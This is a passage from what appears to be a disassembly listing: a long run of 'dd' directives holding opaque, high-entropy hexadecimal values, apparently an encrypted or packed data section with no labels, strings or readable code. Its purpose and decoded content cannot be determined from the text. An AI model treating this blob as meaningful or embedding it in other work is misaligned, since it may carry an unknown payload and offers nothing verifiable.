3474F0E9h, 0C7554A5Dh dd 0D97D5F15h, 2EEA6163h, 0C229C2D1h, 0C0DD2720h, 478DEB65h dd 89977417h, 0E9D48251h, 3DCAF871h, 0ECD130ACh, 8B07CF65h dd 51D40AFEh, 20DC66E9h, 5B48359Dh, 0C371A401h, 59965F65h dd 1C860BDAh, 5C771014h, 4C91ED77h, 5148AEA0h, 4A9712EFh dd 58166FF9h, 96F140C6h, 317E775Ch, 7CFA69B8h, 8F5EEDC9h dd 0C04F04F0h, 12926FFCh, 0FEFEF037h, 0ACD58DA1h, 23326C85h dd 48BD715Ah, 6E461091h, 0ECB1E4D4h, 99D517D7h, 3595AE1h dd 95835355h, 3C7D702Bh, 30125AD5h, 8414E921h, 624B3EF2h dd 625C6741h, 67F91096h, 5B45B82Ah, 0F7490D63h, 0C22B2070h dd 3C80B240h, 2A2527C7h, 31ADC400h, 7EF368D8h, 9C824537h dd 27A64C1Fh, 0AA401BF4h, 4E1999E5h, 0BC567B12h, 66DB3003h dd 8548CC2Fh, 0B3825019h, 0CEA94A40h, 0E8833B7Bh, 23E257Fh dd 1BD29798h, 97DDD050h, 5CB2604Eh, 1FB2041Ch, 4B7F13E8h dd 0F1FA5915h, 0B2B3452Ch, 8A20FA81h, 0C1C64261h, 7AE8D84Bh dd 392CB478h, 0DE1353CCh, 36872D06h, 256858A6h, 0D60D0E3Fh dd 2BA53701h, 0E4F1778Bh, 9D4ECA28h, 26B288CBh, 0E7BD0044h dd 0BF417F3Ch, 492D30F2h, 89550205h, 0CE810073h, 0AF150E27h dd 26D15608h, 2122C5Eh, 25BC8501h, 0BEF8F31Fh, 55F1FD1h dd 2D823F47h, 467AA542h, 0CAC6A2E1h, 34B5B800h, 10166961h dd 52683F22h, 6BF4F270h, 11C039Ah, 834459CFh, 9FAC02C7h dd 0E595E9C4h, 0D0E002DEh, 9A209272h, 328380BFh, 3EDC3D3Dh dd 2E42A7A7h, 0D8020AF8h, 8934BC59h, 329F44DAh, 0EF7540E7h dd 2D88FEDCh, 0F35B16D7h, 88247C51h, 53A81807h, 26B16F34h dd 48142D8h, 34166BEDh, 5650AA21h, 0C45B2B08h, 7F225513h dd 8845765Dh, 54066340h, 4088535Fh, 0EB50C1DEh, 9407E3B8h dd 4375F046h, 0A9B170F5h, 8E20CB2Ah, 8A549914h, 0C1A5033Ah dd 380104E3h, 8D27B5ABh, 2F26D829h, 147E0500h, 79E9020Ch dd 26B24959h, 3F1074CFh dd 38D32D00h, 0D00176E0h, 57070550h, 2649BF06h, 41723AA0h dd 466C2A11h, 3FFB59E9h, 2E676809h, 0B32010C6h, 339E91D4h dd 72FA68A5h, 0D472FB56h, 7368411Ah, 0CECF286Dh, 4243865Fh dd 14FC3BFAh, 57503827h, 3B7712C1h, 0CBA51A8h, 72AB2402h dd 2E50FDE9h, 0EA24EE98h, 0F176A02h, 548E040h, 4A101239h dd 89B3A07Dh, 0EFE9DF1Ch, 0AAF8B675h, 60DEAD07h, 58EBCEE5h dd 0E12FE066h, 0F548A02Ah, 0B06F7774h, 660D407Dh, 5F8AD77h dd 0B9F999B7h, 292E6278h, 56E03969h, 2B7886C1h, 0FA873125h dd 980E0109h, 0BCE90A35h, 0F332A5F4h, 50D9A581h, 2897013Eh dd 66B551D8h, 0A11668C4h, 0C6C208DFh, 94A2F0D9h, 21661649h dd 2F1BF296h, 0DC825627h, 99DDA16h, 2EAE22BCh, 0F7C88663h dd 40044851h, 6EFC139h, 5E194981h, 6882F62Ch, 0AB0F5A11h dd 555742A6h, 0D80D9807h, 9702F128h, 0F77FCF39h, 8205DD1h dd 1F603C34h, 6AE586A0h, 0E906D009h, 95955078h, 0EF61B092h dd 0EB800028h, 504A9E5Dh, 0EA955AB1h, 8504098Ah, 3ABC3BD8h dd 4919BD03h, 0C9D27DA5h, 0BA00F2D0h, 2D4757E4h, 78BCF281h dd 0EE3D4C5Dh, 0D34B2205h, 0CA63C015h, 64151E5Bh, 12BCEBE9h dd 6953DE89h, 0E2970EE2h, 14099645h, 507B180Dh, 74680555h dd 0C156C26Eh, 0A81FDC17h, 120A303Dh, 0BE3BE225h, 1607C314h dd 0F85672E9h, 408B4ED8h, 0C7786837h, 2723983Dh, 7BBA6269h dd 28BB007Dh, 433B023Fh, 71DBF725h, 0B7D1A580h, 0C1B85081h dd 0F0DE4606h, 0C98105E5h, 0F89322E3h, 96DA383Eh, 46010485h dd 314E9A1Dh, 0CC56024h, 6CA75E6Fh, 6E17AE46h, 53B162D6h dd 1FADC21h, 0DC76CA2Dh, 0E1090528h, 7061FB49h, 914BFA7Ch dd 87CA62Ch, 5013562h, 70C5470Dh, 0A32DB860h, 23BBA807h dd 0AD59581Bh, 4160D81Ah, 0C8DCA857h, 0C7BD55C0h, 0BF57F643h dd 38612F2Eh, 8041F32Bh, 9EF4ECBEh, 51EA29BEh, 983BE05Dh dd 594F5478h, 10022B72h, 0B66B65h, 0E6B26AADh, 0DD681758h dd 0E9493062h, 57B6C167h, 1A84834Bh, 0DB2F102Dh, 290D5840h dd 2168C1Dh, 688209A2h, 2DA26E2Ch, 334092B2h, 48B97D35h dd 0C84C69h, 69BA5257h, 0F76BDE42h, 0E2C1DA1Fh, 6D4F40EFh dd 2E1B7ED9h, 973D789h, 8C445FFDh, 8853F8C7h, 54F949EEh dd 1306A4FEh, 44540BD8h, 0BD30C2E6h, 0F381EEF7h, 9D601255h dd 0B800E5Bh, 0D6011690h, 218501F2h, 5EA748F0h, 0F035E9C2h dd 3D594FB3h, 2CD12BF5h, 2D25A1E9h, 3FB0A13Fh, 2C2E1589h dd 0E81DC1E7h, 6804310Bh, 70FF7626h, 0E9575831h, 12F5C359h dd 2D00C101h, 4E971031h, 29F50281h, 45610975h, 0C4B3140h dd 0C1178405h, 0BE0103EDh, 4D5A65Ah, 0CD2A576Fh, 0B40878ABh dd 4B0FE588h, 0AA2431ADh, 0A9090429h, 20590486h, 342D1BC0h dd 43BE5C6Fh, 4495032Ch, 713C112h, 5203C53h, 262C7340h dd 2DA2DAACh, 89DE0EA8h, 0E9F26E4Fh, 0C6810702h, 0C14D6FF3h dd 0E6E0DEC4h, 4A130967h, 0DC025076h, 20B399Ch, 4833187Bh dd 0A632E369h, 80E2E7A7h, 4903569Dh, 5EE92E66h, 4E3CBB24h dd 0C7026C67h, 0EB7F4281h, 68F760C1h, 193DFF7h, 0F53CF7B0h dd 0FB38CB41h, 0AFEF8100h, 7E65741Eh, 58C16CD2h, 2160F328h dd 4F6FF420h, 959F4F69h, 6F682099h, 395FBE25h, 1CAF3A8Ch dd 63B052h, 355C2EFDh, 0C90EB2BAh, 6299CA9Fh, 0E1048221h dd 0B93A602Fh, 4DEA3E5Ch, 59490773h, 1C4A62B0h, 7B139544h dd 0AC006148h, 114764F5h, 8BE158D1h, 0CF78EB81h, 802D4525h dd 0DAA3051h, 0E9D3010Ah, 71A5A816h, 0D1089322h, 3AABFDF0h dd 247B8E89h, 0B55CAA8h, 0C618FB68h, 0CD192744h, 6375D127h dd 82F41BF5h, 9C505FE5h, 57535D03h, 0EA74B4BFh, 3A4BC162h dd 0A4DED83Eh, 0F5315E4Bh, 0A91414B9h, 54FCD33Eh, 4C16B392h dd 1DFC7755h, 4A226B4Ch, 9FAC48C5h, 0A0CBC5F4h, 58095AF7h dd 0C62CEC68h, 0A0E8842Ch, 0B03FDBBh, 0D529355Ah, 208B688h dd 52E9EA31h, 583BDA70h, 0D2F3F583h, 7EBB88A0h, 0C07EF09h dd 18C9E381h, 0BA812844h, 91EB084Ch, 212502E9h, 0B9742747h dd 5034E14h, 51AB49C2h, 668DCC44h, 28653492h, 0D3888AC8h dd 0D0F60202h, 0C208A734h, 0A088285Ch, 0D8880ECEh, 5B58C642h dd 430F8A5Ch, 0B9B8D328h, 5C02C484h, 685AF001h, 4B2F74BFh dd 0A9408DBh, 40259998h, 9BC8A4F2h, 74AE6B0h, 0F3ECA81h dd 0EAC1C112h, 0CB98E705h, 750CA465h, 36AEEFE9h, 9DEC4AD0h dd 3182447h, 9C71616Ch, 0B172C68h, 85786B50h, 3A30B904h dd 0E0C340C7h, 49400515h, 0F2AE10E9h, 54B898D8h, 256CB058h dd 52C601EEh, 672A6AA6h, 5D2E0D77h, 4B3A2D5Eh, 4045289Ch dd 0ECF1FF32h, 0AB2C361h, 7B6B8691h, 0D9E9C100h, 0B7EB4865h dd 3E926174h, 273EBDF0h, 0E8291F22h, 2B5522E7h, 260500DFh dd 25C2047h, 125E4869h, 7CCC4B98h, 3F300922h, 777E010Fh dd 0A14B142Dh, 0D9F5137h, 0D2281DB8h, 40A10038h, 312B305Bh dd 4812D875h, 540AE0C1h, 53A5C4B2h, 84C41331h, 0D647EAD1h dd 80E9E1C1h, 32166850h, 44C9806h, 0AB7A9CAh, 0B665FE01h dd 55577881h, 8E64D82Fh, 40B73902h, 0D5C28DE9h, 46B24DA0h dd 23983DDBh, 0B8755904h, 0D7C04F33h, 18AD4E3Eh, 318FE91Fh dd 651991B9h, 39077ACh, 708F3CFh, 1F639E96h, 0B3216F1Bh dd 2B51F893h, 0FB015181h, 0C45B8704h, 51BB0BEFh, 17DD1FF9h dd 31444BEAh, 0B404678Fh, 0E3D9BCFAh, 0AF27FA5Bh, 3AF6818Eh dd 0C942C045h, 620EC0F3h, 1EC8B1D3h, 32880887h, 0CCB55C12h dd 0C85A0B7Eh, 0BAEB34E8h, 75AF9A95h, 0E9052697h, 0D1F81BD1h dd 6DAB13A1h, 0A609D68Bh, 0C24702D8h, 30FA5A65h, 0E9847DB2h dd 34DEA937h, 50DE285Fh, 5ACFF449h, 0BA5203B7h, 71864C10h dd 3B6B89E9h, 0E247B349h, 52337628h, 670824D1h, 85269378h dd 60E88BE2h, 49726BE0h, 84295A08h, 58080C23h, 55137F1Eh dd 50041877h, 5A0BD0CCh, 744BC1DBh, 9918351Ah, 8730200Eh dd 6B5E3D05h, 0A580CE01h, 0C6CE4C6h, 0EED16999h, 23269422h dd 0AC26E70Ah, 0BB1BB303h, 0C02E5B31h, 1418B9C2h, 0B269853Dh dd 0D7EF86D1h, 0ADC16629h, 0B5A3818Dh, 59EB28F9h, 5A5EF6CEh dd 4482CB10h, 3654A198h, 429053ADh, 0FB095C4Ah, 0C03A0256h dd 0E0D60E27h, 0D840B712h, 3EB02668h, 3A7F6E88h, 0BBC5C2AFh dd 35F4D58Dh, 5DB5903Bh, 59E6EB29h, 0E8228F62h, 175805A7h dd 0CF08F2D3h, 0C6D4A9E9h, 7680BD3Bh, 36EE4762h, 177CDC98h dd 0A10FE028h, 8D70F50Eh, 0A994A47Bh, 1626FA88h, 0B2BA757h dd 0A30664BAh, 0B2010C19h, 0E995B53Dh, 0D32A47D6h, 1C1D4517h dd 6ACE34D7h, 1201CC83h, 0BC611AEAh, 1675C411h, 61DF67Ch dd 0E98DFC9Ch, 16D7DB7Bh, 0E918E18Bh, 0BF5FA1A5h, 7A34A00Eh dd 24B83629h, 0E9C6E413h, 895A249Bh, 166F7803h, 0D014F235h dd 0CB49EAE1h, 95D95B65h, 5D128313h, 6905E0ACh, 0E0669544h dd 7D127F17h, 0AA0DA5D8h, 0E6F039F9h, 0A14A1F32h, 3BC61479h dd 53FCD24h, 0E9215DEFh, 82E90B0Ch, 55DBC660h, 566FCA50h dd 366A8DC5h, 0B415D419h, 2C810F8h, 0F00D6889h, 7F169798h dd 0EAF3E912h, 1C00B45h, 3A054CF8h, 0E89E2FA3h, 0EFC11729h dd 4F811B1Dh, 4775135Dh, 0D285D0DFh, 0C47A5FDBh, 50CBD28Ah dd 53E0C854h, 95C695E9h, 6B593F99h, 6C25C8D9h, 20EDD8D2h dd 5600A682h, 986420BEh dd 48DEF737h, 7F2CF34Eh, 0F84F12F8h, 0C13B0497h, 0F497DF40h dd 9C30FB3Ah, 7F826587h, 0BDE7692Eh, 66C09B80h, 0DBB255E9h dd 4AF684B7h, 0B8B9AE94h, 760A2DCDh, 0BAB7D958h, 32EE70C2h dd 5AF7D021h, 0B08114D7h, 6FE92D3Dh, 54527040h, 0E962849Bh dd 615075h, 1926DE05h, 2DD0015Ch, 23E907A0h, 6525E494h dd 20BBA223h, 594CD66Ah, 16F842CEh, 89A8386Bh, 8D50D9C0h dd 35004019h, 74D83A53h, 55C592Dh, 0BE94F82h, 584AD03Ch dd 39040130h, 0A5497605h, 6A2C0EC2h, 1722CC76h, 8C308C68h dd 87955322h, 9D645A3Ch, 915110AAh, 299268B0h, 5D491ABFh dd 23BFA799h, 7BC14EFFh, 43D530A6h, 27F9D2Eh, 0C7995F0Ch dd 0B6EB68C4h, 35025A0Ch, 294922F1h, 3B2EA8E4h, 45B83DA5h dd 7D7B002Ah, 0C301517Fh, 6C5186BAh, 90C388Bh, 660E2DE9h dd 545028A6h, 3FFA45DAh, 1242C569h, 871C7563h, 3B9EC690h dd 0F2FBB00h, 18157E1h, 0FC75A3CBh, 80434B7Fh, 0FE0EAE9Eh dd 28032D72h, 25BC5179h, 0C2F13EB8h, 2EFEF9C9h, 3ACE08F8h dd 0F68AB403h, 673DC9DCh, 121986Fh, 3B5EF135h, 0BE8F008h dd 0A584455Ah, 85AC16B1h, 1765D454h, 52291475h, 0A88634EDh dd 1DA1408Eh, 5C1E3A13h, 213545F9h, 51411311h, 33A2DDCBh dd 4DA07A0Bh, 800EAE0Ch, 0EA670AF2h, 0F164B3CBh, 0C6FE4418h dd 0B8D6F604h, 12673098h, 5E4DED51h, 9B95CEB8h, 0C9A0446h dd 0FA026415h, 856B9240h, 0B58975CDh, 9B74C16h, 0B7E10057h dd 0F37FF72Bh, 8EAB067Bh, 0CB056D50h, 4A62FD0h, 8D442BAh dd 4C6AF8E9h, 125AA476h, 9E6160CFh, 43210C49h, 310B9FBBh dd 2AF56FB0h, 9AED2164h, 8C505126h, 65F45753h, 7B94840h dd 55FC302Fh, 9C03B5C1h, 4F4A15ABh, 0C47114A4h, 3646F15h dd 3BC1C380h, 0EB128206h, 16D6F811h, 3B22320h, 46F78180h dd 1E025047h, 0A471F62Dh, 0D8885555h, 99C52F07h, 12E95603h dd 1385160Bh, 70B7CC1Eh, 0EC52A340h, 3E8B95CFh, 89CF117Eh dd 7D254244h, 160948B0h, 5E87874Fh, 0EFE572Ch, 0C0ED80CDh dd 0D342C567h, 71511988h, 21034758h, 0C9C101F3h, 36CC6BEFh dd 0AD3249E9h, 30EC340Bh, 67180EDFh, 5264FE3Fh, 0E47EC5C1h dd 0DD595401h, 62123F7Ch, 86FD9A64h, 0C9373113h, 57E2607Ah dd 29528B8h, 7EDC887Dh, 0AC300C6Dh, 8AB0AD44h, 280AB80Fh dd 76018B63h, 6FF682C1h, 1160BA55h, 401466E6h, 24EC69C0h dd 48AF33E5h, 833972D4h, 776FE601h, 0CD811DD3h, 5CBC82E3h dd 4E8F02E4h, 944061B5h, 0CC046F04h, 4C4DE92Ah, 5808AEB4h dd 3383DBF6h, 81C81F51h, 713CC9CEh, 3F64CC53h, 0ED070388h dd 3F5E5D56h, 15A61C58h, 66410915h, 50AD21F3h, 0CB2D00DAh dd 0E9493078h, 0C89553A2h, 3E51120Ah, 0EA8647B5h, 16C2FE59h dd 0CA3B207Eh, 3A2F78B0h, 92ED4388h, 297A4911h, 8DC61E3Bh dd 2EB2ED2Eh, 4A12F98Ch, 3D6EF325h, 5A9137Dh, 64F5E656h dd 6F15DD5h, 383F7725h, 0E8802CAFh, 2ECA82E2h, 0E9589C74h dd 0F7594EBAh, 0F4377BE3h, 1A4C1751h, 0F94127D5h, 2DDF740h dd 6366882Fh, 0AB9FF04Eh, 29CA2EDEh, 96C2C83h, 8E055146h dd 5CF74F8Ah, 560DF1C9h, 4A446D63h, 4D7ED8A2h, 8100A9CBh dd 3874E8CFh, 0EF48D130h, 0FB7800E0h, 32681BFFh, 4A0AB620h dd 0BE5FC485h, 108F1850h, 37C1089h, 2E8C0F5h, 416C8FEh dd 7F801234h, 75E9F328h, 9D6C95CAh, 0D84B51DFh, 0C033E8CBh dd 49CD2F2Eh, 0DDF1F8E3h, 4CA572CEh, 3FCB9EF4h, 0F0516440h dd 0AD00F966h, 2B00D005h, 0D801114Ah, 0B94C8B68h, 20B3A852h dd 5C0B2E06h, 4028864h, 9BF9A17Ch, 1CACE384h, 6603EA30h dd 13F6E259h, 0EC5FED5h, 0E8094B1Fh, 0BCE9EC48h, 7D242F9Dh dd 941021CBh, 74555D43h, 4F4A00DCh, 0E1E78141h, 1F687C16h dd 348A0901h, 0C822BB9h, 677B7125h, 3DA09DDh, 0CA17707Ch dd 0A62D4E4h, 0CBCEEA01h, 9A7F6F32h, 0D4B07D5Fh, 53815A63h dd 0C03460h, 0BB0B672Ch, 889D64CDh, 2DE92940h, 0F4F9D268h dd 93B850C0h, 0C44F725Ah, 94F517FEh, 10B3B940h, 81012DF3h dd 0D84CFAE1h, 34C9D819h, 17B94F17h, 0DF0860Dh, 255FDA2Fh dd 8205735Bh, 3FF17FA9h, 8059AD80h, 24D6C00Eh, 5F8994B8h dd 0AF558EE2h, 557D2587h, 0C6B8ACBh, 0F781DDC5h, 1C8168F9h dd 1A9C7848h, 5AA029E9h, 5F595801h, 3FF32051h, 22556B00h dd 0AA94C5B9h, 0D9012FDDh, 0B9E7C5A7h, 6684C2F9h, 3DA4B30Fh dd 9F32602Ch, 481470F2h, 60012327h, 97659DFCh, 69A251C4h dd 22841240h, 293B5209h, 255F0DF0h, 0C1A40638h, 3E4FAEAEh dd 34082088h, 0AC5022C9h, 320573CAh, 531B8A46h, 5B0038A8h dd 2E72BF57h, 21E34F3Ch, 0F71A603Dh, 4A610A09h, 599F97Bh dd 48FD19E9h, 85376C89h, 0A8E042C5h, 77FC0FBAh, 0F74419DFh dd 0CBE5FC60h, 0C5497E5Ah, 40EAADEAh, 4E79DEEEh, 29C77D5Ah dd 570408EAh, 6EB0D668h, 0E8F527E9h, 0C40AF07Ah, 9E53F7D2h dd 78C94D9Fh, 4BE77C45h, 6885E6D1h, 0A5F35DD4h, 90411D16h dd 0A0776ED7h, 3E58273Eh, 0D118E018h, 0B8D039EAh, 2ED4AB5h dd 2EDE6855h, 84601B7Dh, 7A118B4Ch, 0F63DE295h, 985D5AEEh dd 60C2E98Dh, 95854C3h, 0D9921C47h, 8B545124h, 0C2327C5Ah dd 0B9F74202h, 0D145FD17h, 0A39D56A3h, 0AED1E984h, 13F846FFh dd 1C80F143h, 0E0A007FEh, 60B150CBh, 74A6F62h, 9E9963C3h dd 27434825h, 2088D976h, 694009E1h, 57FE2D6Dh, 5E4C08A0h dd 51DC2D05h, 5672AF2Ch, 2F77B65Ch, 68C3819Bh, 0E7337C91h dd 0BDFB513h, 0ED90FFC6h, 0B02BE9CAh, 53127535h, 0A1A5C1FCh dd 58046EF4h, 3507633Bh, 4C07E3AAh, 3D26EAD3h, 6C12E921h dd 0F802AB0h, 0E32899F4h, 0A905EE44h, 432284A5h, 0E07C33BEh dd 0EB163796h, 5CE8282Dh, 0E8B5A075h, 4B1DDEC7h, 828F08A7h dd 4CFC1E3h, 2CC8581Dh, 74C1591Ch, 3A986851h, 0E1045A76h dd 403864E9h, 28B2B353h, 4BC6F6D8h, 308E8846h, 4157C85Ah dd 0B9514000h, 2D881369h, 94654177h, 0E2719980h, 0B2E1E90Ah dd 0DC875E16h, 9D40A23Bh, 0D9F7025Eh, 8108E1C1h, 62BF8CD8h dd 0C25A43CCh, 0F33C501Ah, 9397432Bh, 0E8DCB617h, 0E9531C42h dd 509C16Dh, 0E8F862F8h, 0D077F7h, 560411B8h, 852A6D25h dd 41351F01h, 10C8408h, 1552E70h, 0BF34E5BDh, 7572E916h dd 3BCAF925h, 323086CBh, 0CB4A058Dh, 46508235h, 29B153B8h dd 0F490E3EEh, 7D2CF772h, 0E9C1DF5Dh, 8C3EC773h, 2013D9DAh dd 0A6B956FAh, 0C75E0CD0h, 5D1D9DAh, 104FE941h, 9CF8A18Ch dd 14E8BD56h, 6825CB05h, 0CE356461h, 0ED8B5CA0h, 4DF68B2Ah dd 23E9096Bh, 4568200Ah, 0E7B2910h, 414A5F2Dh, 0DBE60580h dd 98A1B153h, 0EAC780FAh, 480C22B0h, 0E28B9D21h, 386824D9h dd 20A802CBh, 0F4C4C32h, 0F4885071h, 0E270C3A9h, 0EAB15112h dd 6AE6E0Ch, 0E1AAFCF3h, 28978E6Dh, 4D84029Eh, 0B3172D14h dd 73E2E847h, 9A51849Dh, 9B3A95F1h, 2C0459F7h, 1918C55Bh dd 0C9F00177h, 0BE7C08A2h, 0AFB0F389h, 0EC2884C1h, 0B75A4893h dd 8B804B75h, 0E6C62303h, 2AB32DE9h, 332F49C4h, 0FCB76BCBh dd 85A8C7D4h, 0C85152E1h, 5A1C2568h, 81D20E64h, 0D35EB405h dd 18EA76C0h, 24FBEC05h, 833107E9h, 3E1BAFBFh, 0C003C084h dd 5B244713h, 0FB1DA559h, 891CE100h, 9A87E9CEh, 0F90877D1h dd 0BF189EE0h, 37B6FEE4h dd 0DC370BC9h, 452964A2h, 32BB0C0Bh, 0F25153BAh, 6B5CBF01h dd 72A2576h, 2EED81C4h, 0C04AEEC5h, 8C90E72Fh, 0C029EC2Dh dd 954D2BAAh, 7BAFDB67h, 9B7C0BFDh, 85184FCh, 6866EE50h dd 88554B6Dh, 27D83656h, 0B2D8830h, 0EAC15F4Ch, 63E25580h dd 3EE37577h, 69F7F8D7h, 0D60156B4h, 0D8423119h, 780409CDh dd 6AE92555h, 0C0590C90h, 0E692C4E5h, 515307F7h, 0B4AC73h dd 0F84BB0Fh, 0F38136C9h, 8B4B770Eh, 9ACBC360h, 0BC09BD52h dd 2685540Eh, 685C58B6h, 0B7D5704Bh, 25E9B228h, 0D473208Bh dd 0BB680830h, 7632F42Fh, 1FD95B59h, 3804933Ah, 0B0096828h dd 57D501Bh, 9BF01A48h, 0A2F60980h, 0F051F528h, 0EA6A4349h dd 66A2C0ADh, 9FE84C28h, 74A46EE1h, 31628A7Ch, 0F41DEA15h dd 104962EEh, 94995FFh, 79F9E4E9h, 0C0D962A5h, 56AF12Dh dd 0E9463E81h, 0D37993CAh, 969C5C3Ch, 48A99A68h, 0CBE29F89h dd 279C1E57h, 2100A6E9h, 9C39AABEh, 75566B8h, 4A8270B4h dd 77827B12h, 8006EB5h, 992D54E9h, 3C98AB7Fh, 4935E2FFh dd 5439514Bh, 0C64C2D5Dh, 0F95F9A78h, 0CAD81065h, 6C0EC85Ch dd 0E9218439h, 0D5A8B86Dh, 0E6CC1E9Eh, 0EA898F47h, 91E1450Bh dd 297D3959h, 92C97450h, 191084D0h, 0B9D35FFh, 0D62079E1h dd 280D45BFh, 0E3013E2Fh, 4F53C882h, 0E96E0DD4h, 2F26F04Dh dd 0A0697F92h, 0B2B850C0h, 0D6B2D15h, 0CB093040h, 0DBF75912h dd 14BA8301h, 692A3C9Bh, 996D4362h, 4155C48h, 7FAB37F2h dd 5CE862EAh, 4FB55750h, 13689D5Ah, 0BFEA8C1Ah, 12C26A9Ah dd 7F515FF9h, 364E98B2h, 95C9BD20h, 6C030D80h, 0F7F82325h dd 7739E44Eh, 1E7C9860h, 4577B06Dh, 0E865E9CAh, 315C0D08h dd 0A7026FFBh, 894FDB54h, 8DD6442Ah, 0BD1359C4h, 25099F86h dd 472AD6B3h, 0BC0C9450h, 53815B15h, 0D43F1BCFh, 20FEB131h dd 0C1A0B4B9h, 0C049E9DDh, 985D258Dh, 27F1F7ABh, 661AE368h dd 24E738C1h, 35ABEE4h, 0E305B3A6h, 0BB1D9435h, 0BB25C101h dd 8620DC2Ch, 4E2A4DFEh, 0F84B4D9Eh, 0CD882A48h, 55229D58h dd 0BB5DC8BEh, 7BA6696Ch, 27A5B882h, 8BC885A5h, 73522597h dd 0B044177Fh, 5577502Ch, 5E70565Dh, 680BDDCFh, 9FC17D4h dd 2DD35DC0h, 56350B40h, 57D04C3Eh, 630928ECh, 5824E907h dd 0EB013B11h, 93D0590h, 0FA596658h, 0E13B4A43h, 5F4C12FDh dd 0BB338A6Ah, 0F0D8DFDAh, 2753285Ch, 2430D888h, 8131AD35h dd 2E5ACACEh, 76EED832h, 0E05F3A3Fh, 0B5E8EFC2h, 0CF4097C2h dd 100F3BBh, 0EB317597h, 381435Dh, 86295E3h, 7D3C120h dd 0C5E1204h, 0C7802287h, 278023BDh, 1DF2890Bh, 905DD240h dd 10E40795h, 0E1BB7875h, 2029EA04h, 1FB85F61h, 0A15A4E40h dd 0AB81B6B0h, 7F4953F1h, 7B54DA7Bh, 59AD3B1Fh, 5DD02DFEh dd 0A5324238h, 89E4D95Fh, 7F60D9E9h, 7113DA68h, 668E7A83h dd 4D591C07h, 0C01CB10h, 0D557505Bh, 3F975777h, 0B0600A6Bh dd 5A5AD629h, 582593A7h, 5F42A371h, 2F20845h, 30C95CA1h dd 0F03E30C1h, 0E917314Fh, 6B9150A3h, 392BA021h, 8F71F9D8h dd 6150B30Bh, 52172C75h, 0A0F463DAh, 5B8890B2h, 187BD1D3h dd 71040548h, 72A31A2Ch, 0C4585E7Fh, 0C371AF7Ah, 416D9EB7h dd 0EE1E2F85h, 3C1B5C44h, 126B19F2h, 5812060Ch, 817A029Dh dd 0C74B55EAh, 0C780784Eh, 0FE1EABBAh, 7D429D06h, 2D9590FDh dd 0F016188Fh, 624A820h, 0E2465B83h, 13759CCAh, 0A465BC0Bh dd 3EB15D84h, 2FE3696Ah, 454A8BD0h, 0FD7C0466h, 0F2435568h dd 0A6C862BAh, 221ADDE4h, 17A61477h, 642FE868h, 0C19B326Fh dd 2EBE98C9h, 0B0D08DD4h, 0B6E3008h, 7BE94171h, 0C2806221h dd 0A6CEA201h, 0D8A3DAC5h, 3DD231EAh, 864757DCh, 8B280F89h dd 62209F0Ah, 5DCEAA9Bh, 0B65C7B02h, 0F2737D7Eh, 51295892h dd 0F1E0D229h, 176991A1h, 5A41C2EDh, 21E49758h, 0BA2E587Ch dd 0FCC971DBh, 98A28D56h, 0DC54E118h, 8FAB073Bh, 4B0F7CBAh dd 0F9C64339h, 0E83D95D5h, 280CCA17h, 0FE5AD889h, 0E72D45F3h dd 0F72EF24Ch, 29CF765Eh, 4B8159EFh, 358219F1h, 0E09B3A6Bh dd 0C2EF4B23h, 5658C3F7h, 0C0A62BC1h, 892F6404h, 31C2AEC6h dd 2C7B3542h, 92ADBF09h, 35A8F9D2h, 12BCD16Dh, 252DEAE5h dd 0B8BDD06Fh, 0D81C3394h, 4F1F741h, 0EA75EAE9h, 0E2EB5F64h dd 0D9B5253Dh, 5EB08B78h, 0F9AD7487h, 95231B6Dh, 51241378h dd 0D0A0D83Fh, 7DCD2D26h, 1A0DF789h, 97B4010Ah, 0CE425346h dd 0D5CD6B40h, 212A6620h, 1161432h, 0B8008EF2h, 0C150465Eh dd 451206E5h, 0C3451CE9h, 78C0315Bh, 1203A5F3h, 0A9683862h dd 26E90994h, 57B71A59h, 0BF817545h, 55F85DD1h, 77BCFFCh dd 0F727EA01h, 2DE780D7h, 7348EC77h, 0DE5C70C7h, 503D5974h dd 8B95E9FEh, 0B73FC69Ah, 27FEA1C4h, 48585440h, 0C1010421h dd 426806E3h, 814B5470h, 39BF2C2Ah, 425927BCh, 0BA1C7E0Dh dd 0A03E6205h, 559D0020h, 462F5A0Eh, 558EEF8h, 2DDE079Eh dd 0E69011B6h, 0BBA5207h, 35B32012h, 0AA841629h, 5305C0ABh dd 0C490F109h, 0FCB13C20h, 596E0FF7h, 957F13D5h, 8B514D07h dd 0D779987Ah, 3C095A52h, 9DE98929h, 0BEC54526h, 0ABAB79ADh dd 0A2293DA2h, 0C26C780Ah, 3422E14h, 4F7A1610h, 66608818h dd 24448652h, 1F2C5B98h, 9CC8250Ah, 53B6B40Bh, 26B0254Ch dd 609AF26Eh, 1C5E0C5Ah, 0FDC54ECDh, 2F16B9D0h, 8E5B6F8Eh dd 7FB9ED13h, 5AC39C4h, 9201EF80h, 0D0305BFAh, 0D6563FF4h dd 0ADA1A599h, 0F89E4B69h, 0BD1E3D68h, 0E92D6994h, 0A63E0EFAh dd 70A937Dh, 7BBF6657h, 0FCE4A08h, 0F837401Fh, 5E7F7D62h dd 56486816h, 0A84D5A5h, 0A32865BEh, 92266235h, 5B8CAB71h dd 0D8A033B3h, 0CC30DE8h, 35C0B2A2h, 64954669h, 6EE6B589h dd 954A1398h, 5D5B7C00h, 551EAD1h, 0B45AC1B9h, 690C013h dd 627A8405h, 0E902E109h, 5CF3A5F5h, 0CBEB6B89h, 5455E3Ch dd 0A4D852DAh, 0A54A7219h, 4FFC5898h, 9596375Ah, 2B0B980h dd 0F6374EEAh, 0D1166079h, 0EF3F1268h, 0AB761201h, 9D89B22Ch dd 8959890Bh, 6BCD74Eh, 0BC1AE9C4h, 0E3A55AC3h, 973DAEE4h dd 0E525D2ECh, 0DB030904h, 188744A4h, 0D29E96B6h, 553037Dh dd 51D250BFh, 7F2885Dh, 9AB2CD28h, 0E7094990h, 876F375Fh dd 0F606DE3Bh, 0C1F127C6h, 317C9518h, 22F17E82h, 0B0DEB0DCh dd 0C862FF0Ah, 419BD79Eh, 5A68BD3Dh, 2708302Ah, 44C08DAAh dd 6596DDCDh, 6032BD40h, 4D272486h, 0D92925A4h, 9C09357Ch dd 637FF4F0h, 1CA9570Ch, 0C5A55701h, 0C2444h, 0A525D14h dd 0E7BD5E05h, 0AFD3AFBCh, 6558253Eh, 0E5E98650h, 0B05F8291h dd 0FBA362C2h, 55E349Eh, 0D8BA8586h, 0A65F6C68h, 0D12F444h dd 0B431B016h, 0F0F43B4Eh, 0EA882636h, 10512F34h, 2BC4D0CEh dd 8AB3A441h, 42511000h, 1B23CB81h, 0B038582Eh, 0BF5EC00Bh dd 51028CFEh, 5DD534AEh, 24BB5764h, 